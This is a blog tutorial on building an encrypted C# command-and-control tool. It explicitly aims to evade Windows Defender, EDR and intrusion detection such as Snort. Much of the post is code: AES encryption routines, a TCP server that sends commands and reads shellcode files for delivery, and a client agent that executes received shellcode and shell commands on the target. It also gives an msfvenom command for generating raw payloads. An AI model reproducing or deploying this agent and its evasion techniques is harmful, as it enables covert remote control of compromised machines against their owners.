Encrypted TCP Command and Control

Learn how to perform command and control under the radar using the encrypted tunnel in such a way the keys are exchanged dynamically over the network leaving no trace on the system. and also bypassing the windows defender and other anti-malware or NIPS/NIDS services like Snort.

Encrypted TCP Command and Control

In my last posts we have learnt about performing command and control using C# and how to invoke an unmanaged code (shellcode in that case) through C# interop services, also called PInvoke. If you have read these posts, you won't be able to understand some code snippets in this post. I recommend you first read these posts and then come back here with context.

There are few issues we have discovered while running the shellcode when I asked you to turn off the anti-malware services and then do compiling and execution of the code. This is because such services do static malware analysis and find the patterns in the EXE file that are similar to malware, even if you are popping a simple message box.

And, when you will exchange the shellcode via the network the EDR or Network Intrusion Detection services will also flag it as a malicious request. So how will you perform C2C on a protected network while being under the radar?

The answer to the above question is "ENCRYPTION". You need to encrypt the data before sending and decrypt it just after receiving it. In this post, I will give you a quick walkthrough of another code snippet I wrote recently. You can find the code here – https://github.com/tbhaxor/csharp-and-infosec/tree/main/Encryped C2C

Code Overview

I have created a program that can act as both server and client based on the number of arguments you will pass. If you pass the arguments like the C2C.exe host port, it will act as a client and tries to connect to the server running on all hosts and ports started by the C2C.exe port command

Components

I have broken this application into 3 major components to increase code reusability and readability. These components are as follows

  • Utilities – Set of functions for the client and server to handle encrypted / decryption and execution of the data
  • Server – Create a single-threaded server to handle one client at a time. It will keep running even if the client is closed. This is the same as when you pass the -k argument to ncat binary
  • Client – Agent which is responsible for receiving the command from the server and executing it on the target machine

Utilities

Let's start with encryption and decryption functions using the AES class in System.Security.Cryptography. You need to create the instance using the .create() function.

Since the function EncryptData is stateless, it will accept the payload as a string and encryption details like initializing vector and key as a parameter and then create Encryptor instance from the same AES instance using CreateEncrytor. Just to be on the safe side I have passed IV and Key again in the function, but if you have already set these using properties, you can skip passing these in the above function. By default, CreateEncryptor will take the values from the properties

You need to then open the memory stream and crypto stream to encrypt the data and pass it to the memory stream. Later you can use the ToArray method on the object of memory to get the bytes array. This is the actual encrypted data written by the crypto stream to the memory stream.

public static byte[] EncryptData(string payload, string iv, string key) {
  byte[] encrypted;

  using(var aes = Aes.Create()) {
    aes.IV = Encoding.ASCII.GetBytes(iv);
    aes.Key = Encoding.ASCII.GetBytes(key);

    var crypt = aes.CreateEncryptor(aes.Key, aes.IV);

    using(var memStream = new MemoryStream()) {
      using(var cStream = new CryptoStream(memStream, crypt, CryptoStreamMode.Write)) {
        using(var ws = new StreamWriter(cStream)) {
          ws.Write(payload);
        }
        encrypted = memStream.ToArray();
      }
    }
  }

  return encrypted;
}
Snippet 1: AES encryption on the string data and return the bytes array

NOTE: While encrypting the data, you are actually writing the cypher to the memory stream, the CryptoStreamMode should be set to Write. In case of decryption, it should be set to Read

For decryption, use the CreateDecryptor instance and reverse the above logic that I have just explained to you. Initialize the memory stream with actual encrypted payload, pass that stream to crypto stream and this time use StreamReader to read the decrypted data from the crypto stream to end using ReadToEnd method. This allows you to do one Read operation.

public static string DecryptData(byte[] payload, string iv, string key) {
  string decrypted = string.Empty;

  using(var aes = Aes.Create()) {
    aes.IV = Encoding.ASCII.GetBytes(iv);
    aes.Key = Encoding.ASCII.GetBytes(key);

    var crypt = aes.CreateDecryptor(aes.Key, aes.IV);

    using(var memStream = new MemoryStream(payload)) {
      using(var cStream = new CryptoStream(memStream, crypt, CryptoStreamMode.Read)) {
        using(var rs = new StreamReader(cStream)) {
          decrypted = rs.ReadToEnd();
        }
      }
    }
  }

  return decrypted;
}
Snippet 2: Decrypt the bytes to string

So in this post, we have learnt how memory stream is useful for handling streams with data held in memory. We can use the same technique to execute the external commands using Process class and this time pipe (CopyTo) the data of process directly to the memory stream. Later when the process is executed, we can send the memory output for encryption.

 // Copy raw content in memory
 using(var stream = new MemoryStream()) {

   var process = new Process() {
     StartInfo = new ProcessStartInfo(fileName, string.Join(' ', args)) {
       UseShellExecute = false, RedirectStandardError = true, RedirectStandardOutput = true
     }
   };

   try {
     process.Start();

     process.StandardError.BaseStream.CopyTo(stream);
     process.StandardOutput.BaseStream.CopyTo(stream);

     process.WaitForExit();
   } catch (Exception e) {
     // handle error and pipe to memory stream
     stream.Write(Encoding.ASCII.GetBytes(e.Message + '\n'));
   } finally {
     // convert bytes to string
     output = Encoding.ASCII.GetString(stream.ToArray());
   }
 }
Snippet 3: Execute external command and store output in the memory stream

Other functions are so general and are self-explanatory. Those are basically utility functions to run the shellcode in a separate thread, serialize or deserialize the string so that it can be easily transmitted over the network. I recommend you first go through these on your own and if anything is unclear, let me know I will help you. You can find the complete code of utils in Utils.cs file

Server

Now let's jump on to server code. The constructor accepts and port number parsed to int from Program.cs file and allocate a new TcpListener object. Also, it will set iv and key as empty strings for now

public Server(int port) {
  tcp = new TcpListener(IPAddress.Any, port);
  iv = key = string.Empty;
}
Snippet 4: Server class constructor

The Setup function will call the Start TCP listener on the port number specified in the constructor and call the AcceptConnections() private method of class Server to accept the connection and start network stream to send and receive the data

public void Setup() {
  tcp.Start();
  AcceptConnections();
}
Snippet 5: Start the server and class private AcceptConnections method

In this case, we are using StreamWriter and StreamReader high-level classes to handle the streaming, so you need to convert the encrypted data into a base64 string before writing to the client stream. If the command starts with :read: then read the file path will be read as a binary file, encrypt it and sent to the client. This is an indication that "now you have run the shellcode"

if (cmd.ToLower().StartsWith(":read:") && cmd.Split(' ').Length == 2) {
  // send shellcode magic number
  ws.WriteLine(Utils.SerializeBytes(Utils.EncryptData(":shellcode:", iv, key)));

  // read the payload file
  var filePath = cmd.Split(' ')[1];
  var shellcode = Utils.ReadBinaryFile(filePath);

  // encrypt the shellcode
  enc = Utils.EncryptData(Utils.SerializeBytes(shellcode), iv, key);
}
Snippet 6: Read the binary file to 

NOTE: To create a binary file of shellcode, choose the raw format of the shellcode while generating it from msfvenom and save it directly to the file. The command of the same is msfvenom -p <PAYLOAD> <OPTIONS> -f raw -o <FILE>

After sending the encrypted command, wait for the client to execute the code and return the output to a server. Here all you need to do is to deserialize the output and decrypt it.

string output = rs.ReadLine();
string decrypted = Utils.DecryptData(Utils.DeserializeData(output), iv, key);
Console.WriteLine(decrypted);
Snippet 7: Read the output from the client, decrypt and print on the console

The complete code of the server component can be found in Server.cs file

Client

The client plays the most important role in handling commands from the server, understand whether to run the script or shellcode based on the magic value (:shellcode:). Let's start off by constructor and then go to handling commands

The constructor accepts the host and port numbers from Program.cs

public Client(IPAddress host, int port) {
  this.host = host;
  this.port = port;
  tcp = new TcpClient();
  iv = key = string.Empty;
}
Snippet 8: Client class constructor

In the setup method, it is connecting to the TCP socket, opening the network stream and pass it to the ReadInputs function.

public void Setup() {
  tcp.Connect(host, port);
  using var stream = tcp.GetStream(); ReadInputs(stream);
}
Snippet 9: Connecting to server and starting network stream

Now as soon as the ReadInputs will execute, I am checking whether the keys are exchanged or not, if not I am getting random keys from Utils.GetRandomString method. The thing to be taken care of is that IV is always 16 bytes long and Key is 32 bytes long.

if (!Utils.HasExchangedKeys) {
  Utils.HasExchangedKeys = !Utils.HasExchangedKeys;
  iv = Utils.GetRandomString(16);
  key = Utils.GetRandomString(32);
}
Snippet 10: Create random iv and key

Now when the decoded string is :shellcode: I am sending another data chunk of data after it containing the actual content of the shellcode. Here is the condition of the same logic and when the thread will run, I am skipping the further execution which is basically for the normal commands like dir, id and etc

if (dec == ":shellcode:") {
  // get the shellcode
  var rawShellCode = rs.ReadLine();
  if (string.IsNullOrEmpty(rawShellCode) || string.IsNullOrWhiteSpace(rawShellCode)) continue;

  // decrypt shellcode
  var decryptedData = Utils.DecryptData(Utils.DeserializeData(rawShellCode), iv, key);
  if (string.IsNullOrEmpty(decryptedData) || string.IsNullOrWhiteSpace(decryptedData)) continue;

  // deserialize the decrypted data to get actuall shellcode in bytes
  byte[] shellcode = Utils.DeserializeData(decryptedData);

  // execute shellcode
  Utils.ExecuteShellCode(shellcode);
  ws.WriteLine(Utils.SerializeBytes(Utils.EncryptData("Executing shellcode", iv, key)));
}
Snippet 11: If magic is :shellcode: retrieve the shellcode contents and execute it

So if server requests for execution of normal external commands such as dir, id it can be executed in the else block of the above block. The complete code of the client can be found in Client.cs file.